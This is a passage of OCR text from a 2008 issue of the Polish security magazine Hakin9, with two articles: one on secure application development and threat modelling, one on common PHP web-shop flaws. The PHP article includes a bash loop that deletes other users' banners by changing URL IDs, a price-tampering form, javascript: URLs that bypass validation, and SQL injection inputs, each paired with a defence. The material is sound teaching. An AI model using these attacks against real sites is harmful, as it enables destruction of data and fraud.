ca się firma, specjalizująca się w re-
alizacji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce, tworzenie aplikacji internetowych
oraz systemów zarządzania treścią.
www.zepterit.com
kontakt do nas:
katarzyna.juszczynska@software.com.pl, robert.gontarski@software.com.pl
tel. : 22 427 36 77
Enigma SOI
Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.
• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie
na serwerach i stacjach klienckich
• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki
www.enigma.com.pl
Kei.pl
Kei.pl działa na rynku usług hostin-
gowych od 2000 roku. Do naszych
zadowolonych Klientów z dumą
możemy zaliczyć wiele przedsiębiorstw
sektora MSP, instytucji oraz osób pry-
watnych. W ofercie Kei.pl znajdują się
pakiety hostingowe, a także usługi dla
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.
http://www.kei.pl
Sokra-NET
Działa od roku 2002, specjalizuje się w
szeroko pojętym bezpieczeństwie infor-
macji. Posiada wykwalifikowany spec-
jalnie do tych celów zespół inżynierów
którzy przy współpracy z naszymi kli-
entami maksymalizują bezpieczeństwo
danych, audytując i dobezpieczając.
Wykonujemy
testy
penetracyjne,
analizy kodów źródłowych, testy
wydajnościowe aplikacji i ich środowisk
teleinformatycznych. Wdrażamy polityki
bezpieczeństwa. Wspomagamy nas-
zych partnerów merytorycznie.
www.sokra.net
Sokra-NET
56
OBRONA
HAKIN9 4/2008
P
rzy tworzeniu bezpiecznych programów
naley zwróci szczególn uwag na kilka
istotnych czynników wpywajcych na
ogólne bezpieczestwo rozwizania. Cay tekst
bazuje na przykadzie systemu Windows i
aplikacji pisanych na platformie .NET.
Problem bezpieczeństwa aplikacji jest bardzo
szeroko omawianym tematem w różnego
rodzaju opracowaniach. Niemniej jednak
warto kompleksowo przyjrzeć się tej kwestii.
Ogólnie przyjętym stwierdzeniem jest potrzeba
znalezienia złotego środka przy tworzeniu
poszczególnych rozwiązań. Należy bardzo
mocno wyważyć bezpieczeństwo z łatwością
użycia aplikacji przez użytkowników końcowych.
Każda aplikacja może być bardzo bezpieczna
i uwzględniać wszystkie możliwe aspekty
bezpieczeństwa, ale z drugiej strony będzie
wtedy na pewno niewygodna w obsłudze. Jeśli
przekształcimy to stwierdzenie, będziemy mogli
powiedzieć, że programy łatwe w użyciu są
aplikacjami niebezpiecznymi. No właśnie, ale
czy aby na pewno tak jest?
Bezpieczeństwo aplikacji
Bezpieczeństwo to kilka różnego rodzaju
warstw, a co za tym idzie – różne elementy
chroniące nasz system. Jeśli przyjrzymy się
Rysunkowi 1, zobaczymy, w jaki sposób można
umiejscowić takie warstwy.
Dane i aplikacja to oczywiście kluczowe
elementy układanki. Oczywiście oba z tych
ARTUR ŻARSKI
Z ARTYKUŁU
DOWIESZ SIĘ
o podstawowych zagadnieniach,
które mogą podnieść
bezpieczeństwo tworzenia
i wdrażania aplikacji.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawową znajomość
C/C++,
pojęcia związane
z bezpieczeństwem danych.
elementów posiadają własne zabezpieczenia.
I tak, dane mogą być szyfrowane przy pomocy
EFS (Encrypted File System) oraz BitLocker’a.
Do zabezpieczeń może być użyty IRM oraz
RMS, a całość dodatkowo chroniona będzie
przy pomocy ACL w NTFS. Aplikacja natomiast
posiada własne zabezpieczenia dostępu,
dobrze zdefiniowaną architekturę, kod oraz
różnego rodzaju procedury walidacji.
Idąc dalej – nasz serwer (host) posiada
zabezpieczenia systemu operacyjnego. Ma
hasła dostępu do tegoż systemu operacyjnego.
Dodatkowo jest często aktualizowany
– wgrywane są zawsze najnowsze poprawki
bezpieczeństwa. Użytkownicy mają możliwość
użycia SmartCard z zainstalowanymi
certyfikatami.
Kolejny istotny element to cała infrastruktura
sieciowa. Może być zabezpieczona przy
pomocy IPSec czy IDS. Krańce sieci
Stopień trudności
Bezpieczne a
niebezpieczne
aplikacje
Aplikacje i ich bezpieczeństwo to nie tylko i wyłącznie proces
ich tworzenia, to również modelowanie zagrożeń, projektowanie
rozwiązania oraz architektura. Wszystkie te czynniki składają się
na stworzenie bezpiecznej lub niebezpiecznej aplikacji.
Listing 1.
Przykład przepełnienia bufora
int
ryzykowna1
(
char
*
pLancuch
)
{
int
nLicznik
=
0
;
char
pBufor
[
_MAX_PATH
]
;
strcpy
(
pBufor
,
pLancuch
);
for
(;
pBufor
;
pBufor
++)
if
(*
pBufor
==
'\\'
)
nLicznik
++;
return
nLicznik
;
}
57
BEZPIECZNE A NIEBEZPIECZNE APLIKACJE
HAKIN9
4/2008
korporacyjnej (na rysunku granica sieci)
zabezpieczone są przy pomocy firewall’a,
a użytkownicy łączący się przy pomocy
VPN, zanim uzyskają dostęp do sieci,
przechodzą kwarantannę sprawdzającą
'poprawność' komputera. Mając serwer
oraz infrastrukturę pozostaje nam
zapewnienie fizycznego bezpieczeństwa
– czyli serwerownia ze strażnikami,
dobrze zamkniętymi drzwiami,
monitoringiem etc.
Ostatnim, ale jednym z
najważniejszych, elementem jest
świadomość użytkowników (prawników
firmy). Należy te osoby edukować, mówić
im, czym jest bezpieczeństwo, 'przestawiać'
na bezpieczne myślenie (np. stanowczo
eliminować żółte karteczki z zapisanym
hasłem, przyklejane pod biurkiem).
Wszystkie te elementy mogą
wydawać się oczywiste, niemniej jednak
bardzo często zdarza się, że krytyczne
aplikacje uruchamiane są 'tymczasowo'
pod biurkiem administratorów lub
programistów. Do tego wszystkiego
dochodzi jeszcze problem analogowo-
cyfrowy, w przypadku którego jedynym
punktem jest ostatni z wymienionych
wcześniej – a więc świadomość
zagrożeń (Rysunek 2 – źródło Internet).
Modelowanie zagrożeń
Modelowanie zagrożeń to rodzaj
analizy bezpieczeństwa, którego
celem jest zwiększenie sumarycznego
bezpieczeństwa aplikacji. Należy przy
tym pamiętać, że zagrożenie nie oznacza
słabego punktu. Na sumaryczne
bezpieczeństwo aplikacji składa się kilka
czynników: znalezienie luk infrastruktury,
ocena zagrożeń bezpieczeństwa czy
określenie środków zaradczych. Na
czym polegają poszczególne czynniki?
Jest to przykładowo analiza wszystkich
możliwych wejść do systemu, w
szczególności miejsc, w których z
zewnątrz dostarczane są dane – np.
API, gniazda, Web Service, pliki czy
dane wprowadzane bezpośrednio
przez użytkownika systemu. Następnie
sprawdzanie zasobów, czyli wszystko, co
może być potencjalnym źródłem ataku –
na przykład dane, pliki konfiguracyjne etc.
Modelowaniu podlega również poziom
uprzywilejowania, czyli role użytkownika
potrzebne do wejścia do systemu czy
uzyskania praw dostępu do zasobów, a
także sposób autoryzacji.
Istnieje kilka metod modelowania
zagrożeń, wśród nich technika STRIDE
(Spoofing, Tampering, Repudiation,
Information disclosure, Denial of service,
Elevation of privilege). Poszczególne
odpowiedniki rodzajów zagrożeń wraz z
przykładami przedstawia Tabela 1.
Do tego mamy jeszcze ocenę
zagrożeń DREAD (Damage Potential,
Reproducibility, Exploitability, Affected
Users, Discoverability), czyli kolejno:
• D – Możliwość zniszczeń,
• R – Powtarzalność,
• E – Możliwość wykorzystania,
• A – Użytkownicy, których dotyczy
problem,
• D – Możliwość wykrycia.
Rysunek 1.
Warstwy bezpieczeństwa
systemów
����
���������
��������������������
����
�������������
�����������������������
������������������������
�����������������
Tabela 1.
Techniki określania zagrożeń STRIDE
Fałszowanie
Fałszowanie wiadomości e-mail
Powtarzanie uwierzytelniania
Zniekształcanie
Zmiana danych podczas transmisji
Zmiana danych w bazie danych
Zaprzeczanie
Usunięcie istotnych danych i zaprzeczanie temu
Zakup produktu i zaprzeczanie temu
Ujawnianie informacji
Ujawnianie informacji w komunikatach o błędach
Ujawnianie kodu w witrynie sieci Web
Odmowa usługi
Zalewanie usługi sieci Web nieprawidłowymi żądaniami
Zalewanie sieci pakietami SYN
Podwyższanie uprawnień
Uzyskiwanie uprawnień administratora
Używanie zestawu w pamięci GAC do tworzenia konta
Tabela 2.
Analiza potencjalnych zagrożeń
Zagrożenie
D R
E
A
D Razem
Ocena
Napastnik uzyskuje poświadczenia
3
3
2
2
2
12
Wysoka
Wstrzyknięcie poleceń SQL
3
3
3
3
2
14
Wysoka
Tabela 3.
Przydatne przełączniki oraz dodatkowe biblioteki
Przełącznik/Biblioteka
Uwagi
/GS: Przepełnienie stosu
Skuteczność 100%
/GS: Przekierowanie wskaźnika, zmiana
wartości EBP
Skuteczność niska (chyba że trafi na adres
zwrotny)
RTC: stos niezerowy
Pomoc przy śledzeniu
PREfast: analizator kodu
Pożyteczny; dodatkowe ostrzeżenia
SAL:dodatkowe adnotacje (_deref, _ecount
…)
Duża skuteczność; wykrycie „losowych”
błędów; pomoc w analizie
Application Verifier
Dobry pomocnik testera
ACGP: rozrzucenie kodu w segmencie
Duża skuteczność; wykrycie „losowych”
błędów
OBRONA
58
HAKIN9 4/2008
BEZPIECZNE A NIEBEZPIECZNE APLIKACJE
59
HAKIN9
4/2008
Do każdej z kategorii należy przypisać
odpowiednią wagę zagrożenia – np.
Wysokie (3), Średnie (2) oraz Niskie
(1). Analizując potencjalne zagrożenia
możemy określić jego ocenę. Przykład
znajduje się w Tabeli 2.
Proces modelowania zagrożeń został
opisany przez Microsoft już jakiś czas
temu i przedstawia się następująco:
• Zidentyfikować zasoby – czyli
określenie typów danych, które mogą
być interesujące dla napastników.
• Stworzyć przegląd architektury –
analiza komponentów pod względem
wejść aplikacji.
• Dekompozycja aplikacji – analiza
funkcji aplikacji (każdej z osobna) i
określenie ścieżek przepływu danych.
• Identyfikacja zagrożeń – określenie
potencjalnych błędów w aplikacji
oraz potencjalnych miejsc ataku.
• Dokumentacja zagrożeń – spisanie
wszystkich zagrożeń.
• Ocena poziomu zagrożenia
– określenie możliwości wykrycia
i wystąpienia poszczególnych
zagrożeń.
Wewnątrz firmy Microsoft stosowana
jest metodologia Security Development
Lifecycle. Wykorzystywana ona była
między innymi przy tworzeniu SQL
Server 2005, systemów Windows Vista
oraz Windows Server 2008. Zgodnie z
tą metodyką należy zwrócić uwagę na
pewne zasady:
• Okresowe OBOWIĄZKOWE szkolenia
z zakresu bezpieczeństwa dla
WSZYSTKICH zaangażowanych w
proces tworzenia aplikacji.
• Doradca bezpieczeństwa dla
KAŻDEGO komponentu.
• Modelowanie zagrożeń jako część
procesu projektowego.
• Przeglądy bezpieczeństwa i
testowanie przewidziane w
harmonogramie projektu.
• Zdefiniowanie i stosowanie metryk
bezpieczeństwa dla zespołów
projektowych.
Trochę praktyki
Oprócz ogólnych elementów
bezpieczeństwa systemu
informatycznego, baczną uwagę należy
również zwrócić na sposób pisania
kodu naszej aplikacji. Warto zwrócić
uwagę na:
• Bezpieczeństwo w projektowaniu
i implementacji – jest to proces
kładący nacisk na bezpieczeństwo
oprogramowania, który również
podlega modelowaniu zagrożeń.
Szczególną uwagę należy
zwrócić na audyt kodu oraz testy
bezpieczeństwa.
• Bezpieczne wartości domyślne
– dzięki którym minimalizujemy
możliwy obszar sposobów ataku
(attack surface).
• Bezpieczna instalacja – warto
również zwrócić uwagę na ten
Rysunek 3.
Dekompozycja aplikacji
������
�����������
����
���������
�
�������
�����������
�����������
���������
�����
��
���������
�����������
������������
�������
����
������������
�������������
�����������
�����
Rysunek 2.
Problem analogowo-cyfrowy
OBRONA
58
HAKIN9 4/2008
BEZPIECZNE A NIEBEZPIECZNE APLIKACJE
59
HAKIN9
4/2008
aspekt, aby wykorzystać mechanizmy
systemu operacyjnego i .NET
Framework (np. CAS – Code Access
Security).
Przykładów niebezpiecznego kodu
jest wiele – najbardziej popularnym
z nich jest przepełnienie bufora.
Jest to zazwyczaj główna przyczyna
problemów, spotykana najczęściej w
przypadku kodu natywnego (C/C++)
oraz API systemu operacyjnego.
Ogólnie rzecz ujmując, polega na
nadpisaniu „za dużym” parametrem
stosu lub sterty, przepełnienia licznika
czy też przekroczenia zakresu tablicy.
Stosowanie pewnej grupy dobrze
opisanych funkcji (do których można
zaliczyć strcpy, gets, scanf, sprintf, strcat
i inne) zwiększa ryzyko powstawania
przepełnień bufora, dlatego ich
stosowanie jest gorąco odradzane.
Przykład błędu przedstawiony jest na
Listingu 1.
Na Listingu 1 w kodzie od razu
widać słaby punkt — parametr pBufor
może zostać przepełniony, jeśli bufor
wskazywany przez pLancuch jest dłuższy
niż
_ MAX _ PATH
.
Można oczywiście wykryć część
tego typu problemów, wykorzystując
odpowiednie przełączniki kompilatora i
biblioteki przedstawione w Tabeli 3.
W przypadku kodu zarządzanego
mamy pewnego rodzaju automat
zabezpieczający przed przepełnieniem
bufora, wyjściem poza zakres tablicy
czy też nieprawidłowym kodem
wykonywalnym.
Gotowce
pomagające w pracy
Rozwiązaniem potencjalnych problemów
może być Enterprise Library stworzone
przez Microsoft przez grupę Patterns &
Practices (http://msdn2.microsoft.com/
en-us/library/aa480453.aspx).
Enterprise Library to zestaw różnego
rodzaju bloków aplikacji (funkcjonalnych).
Bloki te są opisanymi gotowymi
rozwiązaniami oraz kawałkami kodu,
który należy tylko wstawić do własnej
aplikacji wg zaleceń bez konieczności
tworzenia własnych takich rozwiązań.
Wśród gotowych bloków możemy
znaleźć między innymi: Caching,
Cryptography, Data Access, Exception
Handling, Logging, Security, Validation,
Policy Injection. W naszym przypadku
istotne będą dwa bloki: Cryptography
Application Block oraz Validation
Application Block. Należy pamiętać,
że nie jest to rozwiązanie wszystkich
problemów, ale warto się mu przyjrzeć,
ponieważ jest po prostu pożyteczne dla
programistów.
Podsumowanie
Jak widać (i jak wiadomo), problem
bezpiecznych bądź niebezpiecznych
aplikacji jest nader złożony. Wyróżnić
można bardzo wiele aspektów tworzenia
bezpiecznych aplikacji, na które należy
zwrócić uwagę. Przede wszystkim są to:
dobrze zdefiniowany proces tworzenia
aplikacji, edukacja zespołu programistów,
zachowanie jakości kodu oraz stworzenie
bezpiecznej architektury.
Jednym z najistotniejszych punktów
tworzenia rozwiązania jest również
kodowanie. Dla przykładu bardzo
wiele funkcji z biblioteki języka C jest
potencjalnie niebezpiecznych np.:
gets
,
strcpy
,
strcat
,
sprintf(“%s”)
Warto zwrócić uwagę na środki
wspomagające tworzenie bezpiecznego
kodu, czyli przede wszystkim pozwalające
na automatyczny code review, statyczną
analizę kodu – np.
FxCop
. No i oczywiście
testy. Testy, testy i jeszcze raz testy na
występowanie różnych luk zabezpieczeń.
Artur Żarski
Jest pracownikiem firmy Microsoft. Na co dzień
zajmuje się m.in. tworzeniem rozwiązań w oparciu
o SQL Server w różnych aspektach – bazy
relacyjne, usługi integracyjne, usługi analityczne.
Jest certyfikowanym administratorem baz danych
(MCDBA).
Kontakt z autorem: arturz@microsoft.com
R
E
K
L
A
M
A
60
OBRONA
HAKIN9 4/2008
N
apisałem ten tekst, ponieważ często
zdarza mi się oglądać sklepy
internetowe bądź strony tematyczne,
które stały się ofiarami ata ków hakerów. I to
wcale nie są ataki tzw. black hats (patrz Ramka
1) czy profesjonalnych złodziei nastawionych na
zysk z ukradzionych danych. Setki witryn padają
z powodu młodych ludzi, którzy z nudy bawią
się zabezpieczeniami stron. Czasem powodują
oni tylko małe zakłócenie w pracy serwisu,
jednak bywa i tak, że stronę trzeba zamknąć na
jakiś czas. Dodają oni jakiś zabawny komunikat,
a czasem nawet usuwają pewne dane z
dysku. Dlaczego te strony stają się tak łatwym
łupem? Moim zdaniem ze skąpstwa, bądź
po prostu z lenistwa. Lenistwa tych, którym
nie chce się jeszcze raz dokładnie przejrzeć
napisanego kodu pod kątem zabezpieczeń. A
ze skąpstwa tych, którzy woleli zaoszczędzić i
umieścić ogłoszenie na jednej z bezpłatnych
stron typu http://zlecenia.przez.net (oczywiście
nie mówię, że wszyscy, którzy odpisują tam
na ogłoszenia wykonują pracę nieporządnie
– aczkolwiek dość często stawkę obniżają
ludzie, którzy jednak nie znają się na rzeczy),
niż zapłacić – co prawda 10 razy więcej, ale
legalnej firmie, która porządnie wykona robotę.
Bowiem ostatnio na rynku usług internetowych
(konkretnie stron WWW) nastąpiła wielka
ekspansja małych firm oraz freelancerów,
których motto brzmi szybko i tanio, co – jak
wiadomo – rzadko idzie w parze z jakością.
JAKUB KAŁUŻNY
Z TEGO ARTYKUŁU
DOWIESZ SIĘ
jakie są podstawowe luki
w zabezpieczeniach aplikacji
webowych,
jak się obronić przed atakami
hakerów.
CO POWINIENEŚ
WIEDZIEĆ
podstawy PHP,
podstawy HTML,
podstawy składni shella
linuksowego.
Często zdarza się, że wykonawcy stron są
licealistami bądź studentami, którzy dorabiają
nielegalnie w Internecie. Tak więc docelowi
właściciele dość często wolą zaufać jakiejś
osobie, nawet bez większego portfolio, zlecić
jej wykonanie strony całkowicie na czarno, bez
umowy o dzieło.
Boom na e-shopping
Za przykład posłuży nam fikcyjny sklep
internetowy, od jakich ostatnio aż roi się w
polskim Internecie. Według mnie to już ostatnia
chwila na wejście w biznes. Niedługo będzie
ich po prostu za dużo, w związku z czym wielki
popyt na e-shopping rozłoży się na wiele
małych serwisików, które w końcu zaczną
plajtować. Sprawa wygląda dokładnie tak
samo, jak z rzeczywistymi sklepami. Mniejsi
handlowcy z trudem walczą o swoje parę
groszy, podczas gdy supermarkety zbierają
kokosy. Być może właśnie w tym problem z
nowymi, dziurawymi e-sklepami – każdy chce
się wbić w rynek, ale nie ma odpowiedniego
kapitału, więc np. zleca wykonanie strony
za marne pieniądze. Wracając do naszego
przykładu – strona funkcjonuje podobnie,
jak Allegro – użytkownik wystawia produkt,
a inni mogą go kupić. Ponadto właściciel
poprosił o zaimplementowanie systemu
banerów – za odpowiednią ilość złotówek
można wykupić pakiet reklam na stronie
(odnoszących się do produktów znajdujących
Stopień trudności
Robactwo
w kodzie
Zastanawiałeś się kiedyś, czy kod, który napisałeś, jest
nieskazitelnie czysty? Czy możesz użyć go na własnej stronie bez
obawy, że ktoś wykryje lukę i zaatakuje system? Bałeś się , że
sprzedasz klientowi skrypt, a jakaś osoba włamie się na stronę?
61
BŁĘDY W APLIKACJACH PHP
HAKIN9
4/2008
się w bazie danych). Cały portal opiera
się na PHP i bazie MySQL. W kolejnej
części artykułu przedstawione zostaną
podstawowe błędy popełniane przez
niedoświadczonych programistów.
Tricki w URLu
Po pierwsze, koderzy mają tendencję
do nadużywania formularzy GET, co
prowadzi do stworzenia możliwości
prostego ataku poprzez modyfikację
adresu URL. Powiedzmy, że mamy konto
w sklepie i chcemy wykupić pakiet 1000
banerów. Możliwa jest opcja uploadu
własnego obrazka. Najpierw dodajemy
nasz baner, formularz wygląda tak, jak
pokazuje Rysunek 1.
Oczywiście, mamy możliwość
usunięcia tych, a dodania innych
obrazków. Gdy chcemy usunąć baner,
klikamy w odpowiedni link. W pasku
adresu widać http://adres.strony.pl/
banner.php?del=4333. A więc teraz
dodajemy kolejny obrazek. O, ale co to?
Tym razem, gdy chcemy usuwać nasz
baner, jego ID to już
4335
– widocznie
ktoś międzyczasie dodał swój baner i
został on zapisany w bazie jako
4334
. A
gdyby tak wpisać w pasek adresu http:
//adres.strony.pl/banner.php?del=4334.
Komunikat Twój baner (
ID: 4334
)
został usunięty potwierdza domysły
– programista nie wziął pod uwagę faktu,
że należy przed usunięciem baneru
sprawdzić, czy ID jego właściciela zgadza
się z identyfikatorem zalogowanego
użytkownika, przechowywanym
w superglobalnej zmiennej
$ _
SESSION['login']. 1:0
dla nas. Może
gdyby użyto formularza POST, nikt nie
pomyślałby, że należy tylko podmienić ID
w URLu? Bardzo złośliwym posunięciem
byłoby teraz usunięcie wszystkich
banerów. Przysporzy to sporo pracy
administratorom, żeby odtworzyć stronę,
zdenerwuje klientów, którzy – bądź
co bądź – zapłacili za reklamę, no i
oczywiście popsuje opinię sklepu oraz
właściciela. Wymagane narzędzia ataku?
Dowolna przeglądarka internetowa, a
jeśli banerów jest dużo, możemy napisać
krótki program, który zautomatyzuje
nasza pracę, np. w bashu linuksowym.
Spójrzmy na Listing 1.
Oczywiście obrona przed tego typu
atakiem jest trywialna – w kodzie PHP
strony wystarczy dodać tylko jeden
warunek, przedstawiony na Listingu 2.
Zadaniem pokazanej na listingu
funkcji user(ID) jest zwrócenie loginu
użytkownika, który jest właścicielem
banera o danym numerze ID.
Modyfikacja formularza
Drugim częstym błędem jest
przekazywanie niepotrzebnych
argumentów w formularzach. I tu już nie
ma różnicy, czy formularz jest typu GET,
czy POST (patrz Ramka 2). Tak więc
Listing 1.
Zmiana URLa strony w celu usunięcia banerów
#!/bin/bash
for
i
in
`seq 1 100000`
do
touch
$i
.tmp
links http://adresstrony/banner.php\?del\=
$i
>
$i
.tmp
echo „Baner
$i
usuniety”
done
exit 0
Listing 2.
Warunek sprawdzający, chroniący przed nieautoryzowanym usuwaniem
banerów
if
(
$_SESSION
[
'login'
]
==user
(
$_POST
[
'del'
])
{
// tu kod, który usuwa baner
}
Listing 3.
Kod źródłowy formularza zamawiania banerów
<
form action=”banner.php” method=”post”
>
Cena za 1 baner to 1 grosz.
<
br
>
Wybierz, jaki pakiet banerów chcesz kupić:
<
br
>
<
select name=”ile”
>
<
option
>
100
<
/option
>
<
option
>
1000
<
/option
>
<
option
>
5000
<
/option
>
<
option
>
10000
<
/option
>
<
option
>
20000
<
/option
>
<
option
>
100000
<
/option
>
<
/select
>
<
br
>
Cena, jaką zapłacisz, to:
<
br
>
<
input type=”text” name=”cena” disabled=”true”
>
<
/form
>
Rysunek 1.
Wygląd formularza w przeglądarce.
OBRONA
62
HAKIN9 4/2008
BŁĘDY W APLIKACJACH PHP
63
HAKIN9
4/2008
– dodaliśmy już nasz obrazek, teraz czas
na wykupienie (oczywiście drogiego, a
jakżeby inaczej) pakietu reklam. W tabeli
MySQL prawdopodobnie przechowywane
są następujące dane – ID pakietu,
ilość wykupionych banerów, ilość już
wyświetlonych oraz cena. Kupując banery,
wypełniamy prosty formularz z jednym
polem, oznaczającym ilość wyświetleń
banerów, które chcemy umieścić na
stronie.
Spoglądamy w kod źródłowy pliku
(Listing 3.).
Z listy wybieramy ilość pakietów,
automatycznie poniżej w polu cena
wyświetla się koszt, jaki poniesiemy – do
jego wyświetlenia posłuży prosty kod
JavaScript (
document.forms[0].cena.
value=document.forms[0].ile.value
*cena _ za _ pakiet;
). Oczywiście, tego
pola nie można edytować, bez atrybutu
disabled=true
byłoby to zbyt proste.
Zastosujemy teraz trochę sprytniejszą
technikę. Kopiujemy źródło formularza,
wstawiamy na swój serwer i zmieniamy kod
w sposób przedstawiony na Listingu 4.
Oczywiście, zmodyfikowaliśmy
wartość atrybutu
action
na http:
//adresstrony/banner.php. W polu,
którego wartość jest oryginalnie
wyznaczana przy pomocy skryptu JS,
zmieniamy wartość na symboliczną
złotówkę. Warto usunąć także sam
skrypt JS, mógłby on zakłócić pracę tak
zmodyfikowanego kodu. Wypełniamy
formularz na naszym serwerze tak, jak
byśmy to zrobili poprzez stronę sklepu
i zaglądamy później na swoje wirtualne
konto, już w sklepie. Ponownie punkt dla
nas, programista przekazywał cenę w
tablicy
$ _ POST
, zamiast obliczać ją już
na serwerze, bazując na wartościach
pozostałych pól.
Obrona w najprostszym wypadku
polegałaby na dodaniu w skrypcie
akceptującym zamówienie banerów
warunku sprawdzającego, czy ilość
banerów pomnożona przez cenę
za pakiet daje wynik równy wartości
przekazanej w zmiennej cena (pokazuje
to Listing 5).
Javascript –
dodatek, nie podstawa!
Trzecia istotna kwestia – wykonywanie
ważnych operacji za pośrednictwem
kodu JavaScript może ułatwić atak. W
naszym sklepie dodajemy produkty,
rejestrujemy się bądź kupujemy banery.
Często w polach formularza należy
wpisać jakieś dane, zwykle określonego
typu. Załóżmy, że musimy podać numer
telefonu stacjonarnego w Polsce.
Wpisujemy go w postaci
KKXXXXXXX
,
gdzie
K
– to numer kierunkowy, a
X
– cyfra. Po wpisaniu ostatniej cyfry, gdy
pole zawiera 9 znaków, wykonywana jest
pewna funkcja JS, np.
CheckNumber(
document.forms[0].telefon.value
);
. Jeżeli pole nie zawiera samych cyfr,
funkcja ustawia zmienną
documents.forms[0].ok.value
(hidden)
na
0
(nie pozwoli ona przejść
dalej w formularzu), w przeciwnym
razie pozostawia kontrolki bez zmian i
wyświetla dla wiadomości użytkownika
obok pola zielonego ptaszka (OK) bądź
czerwony krzyżyk (błąd). Co można
tutaj zrobić? Patrzymy w kod źródłowy i
analizujemy linijki pokazane na Listingu 6.
Wpisujemy w formularzu błędny
numer. Kiedy pojawi się krzyżyk
– możemy po prostu wpisać w okno
przeglądarki (najlepiej Firefox, tam na
pewno działa) poprawny numer:
javascript:CheckNumber(123456789);
Innym sposobem jest obejście
sprawdzania poprzez wpisanie:
javascript:document.forms[0].ok.value=1;
Co to spowoduje? W obu przypadkach
efektem będzie ustawienie zmiennej
ok na 1, ponadto w drugim przypadku
nie pojawi się zielony ptaszek. Całość
pozwoli na wysłanie formularza z
fałszywym numerem telefonu. Z
pewnością bardziej interesujący będzie
praktyczny przykład. Załóżmy, że
chcemy zagrać w brydża na serwisie
kurnik.pl – niestety, akurat pokój, w
którym gra nasz przyjaciel, jest już
Listing 4.
Modyfikacja formularza POST
<
form action=”http://adresstrony/banner.php” method=”post”
>
Cena za 1 baner to 1 grosz.
<
br
>
Wybierz, jaki pakiet banerów chcesz kupić:
<
br
>
<
select name=”ile”
>
<
option
>
100
<
/option
>
<
option
>
1000
<
/option
>
<
option
>
5000
<
/option
>
<
option
>
10000
<
/option
>
<
option
>
20000
<
/option
>
<
option
>
100000
<
/option
>
<
/select
>
<
br
>
Cena, jaką zapłacisz, to:
<
br
>
<
input type=”text” name=”cena” disabled=”true” value=”1”
>
<
/form
>
Listing 5.
Warunek sprawdzający poprawność zmiennej cena
if
(
$_POST
[
'cena'
]
==
(
$_POST
[
'ile'
])
*
$cenazapakiet
)
{
// tu kod odpowiedzialny za dodanie baneru
}
Hakerów ze względu na etykę dzielimy na 3 grupy:
• black hats: ludzie niedzielący się zdobytą wiedzą z innymi, nie publikują odkrytych luk, działają
najczęściej poza granicami prawa,
• white hats : ludzie, którzy chętnie pomagają innym, o odkrytych lukach informują
administratorów, nie udostępniają bezpośrednio sposobu na włamanie, wśród nich często
można znaleźć informatyków, którzy zajmują się bezpieczeństwem IT,
• grey hats : ludzie, których trudno jednoznacznie przypisać do którejś z powyższych grup.
OBRONA
62
HAKIN9 4/2008
BŁĘDY W APLIKACJACH PHP
63
HAKIN9
4/2008
przepełniony i jego nazwa przestała być
aktywnym hiperłączem. Jaki problem
stanowi najechanie myszką na inny
pokój, skopiowanie do pasku adresu
kodu JavaScript i zmiana parametru
– nazwy pokoju? Nie zarzucam niczego
autorowi skryptu – jeżeli chcemy zagrać
z przyjacielem, możemy kulturalnie
otworzyć jego profil i wejść do pokoju,
w którym akurat jest. Bądź co bądź, jest
to jednak pewien sposób na obejście
blokady i przeciążenie serwera.
Jak się przed tym obronić? Unikajmy
pisania takich funkcji w JS. Podstawową
wadą skryptów JS jest oczywiście
jawność kodu, której pozbywamy się
używając PHP. Ponadto funkcji PHP
nie wywołamy z okna przeglądarki.
Kod pisany w JS nazywamy
client-
side
– wykonywany po stronie klienta
(czyli przeglądarki), natomiast kod
PHP –
server-side
– wykonywany
jest na serwerze, co znacznie utrudnia
znajdywanie luk.
Jeden
problem to nie problem
Problemy podczas rejestracji to dość
częste zjawisko. Bardzo łatwo można
uprzykrzyć życie administratorowi. Jeżeli
witryna nie wykorzystuje np. obrazka z
kodem weryfikującym, możemy napisać
bota (czasem wystarczy odpowiednią
ilość razy odpalić spreparowany
formularz), który zarejestruje fikcyjnych
użytkowników z nieprawidłowymi
adresami e-mail. Wynik jest łatwy do
przewidzenia: baza MySQL zapchana
tysiącami rekordów. Spowolnienie
działania skryptów. Na skrzynkę roota
trafiają setki maili od mailer-demona, że
listy do zarejestrowanych użytkowników
nie dochodzą. Co więcej, trudno takie
coś nazwać spamem – w końcu serwer
sam wysyła pocztę. Jak temu zapobiec?
Stworzenie obrazka zawierającego
kod weryfikujący, który trzeba podać
w formularzu oraz blokowanie kilku
rejestracji pod rząd z jednego adresu
IP powinny wystarczyć. Jeżeli haker
użyje programu OCR (ang. Optical
Character Recognition), rozpoznającego
tekst zapisany w formie graficznej, albo
będzie zmieniał szybko IP, to już będzie
poważniejsza sprawa i obrona okaże się
znacznie trudniejsza.
SQL injection – standard
Często w portalach czy sklepach
udostępniamy funkcję Szukaj na stronie.
Oczywiście, skrypt ten przekazuje
zapytanie do bazy danych MySQL
i zwraca odpowiednie wyniki. Przy
połączeniach z bazą należy zwracać
szczególną uwagę na bezpieczeństwo.
Podstawowy błąd to umożliwienie
przeprowadzenia ataku tzw. SQL
Injection. Jeżeli pozwolimy na używanie
znaków typu '!@#$%^&*()~\/|=><.,;: , bardzo
prawdopodobne, że haker użyje ich do
ataku. Powiedzmy, że haker domyśla
się sposobu przerabiania pola Szukaj
na zapytanie do bazy i zamiast nazwa_
użytkownika wpisze:
nazwa_użytkownika”; SELECT * FROM
'users';
Skrypt działa prawdopodobnie tak:
wysyła zapytanie do bazy
SELECT
'users' WHERE nazwa LIKE
„[tu
skrypt kopiuje zawartość pola
szukaj];
, zapisuje je w jakiejś tablicy
i drukuje w odpowiedniej tabeli. Jeżeli
hakerowi się poszczęści, uzyskuje on
dane użytkowników i ich hasła. Dlaczego?
Ponieważ wymusił wykonanie innego
zapytania, które wypisało zawartość
tabeli users z bazy danych. Sytuacja
wygląda podobnie, gdy mamy zapytanie
postaci:
SELECT * FROM 'users' WHERE
login=$login AND pass=$pass;
w polu login wpisujemy
admin; ~
. Tylda
(
~
) jest w języku SQL oznaczeniem
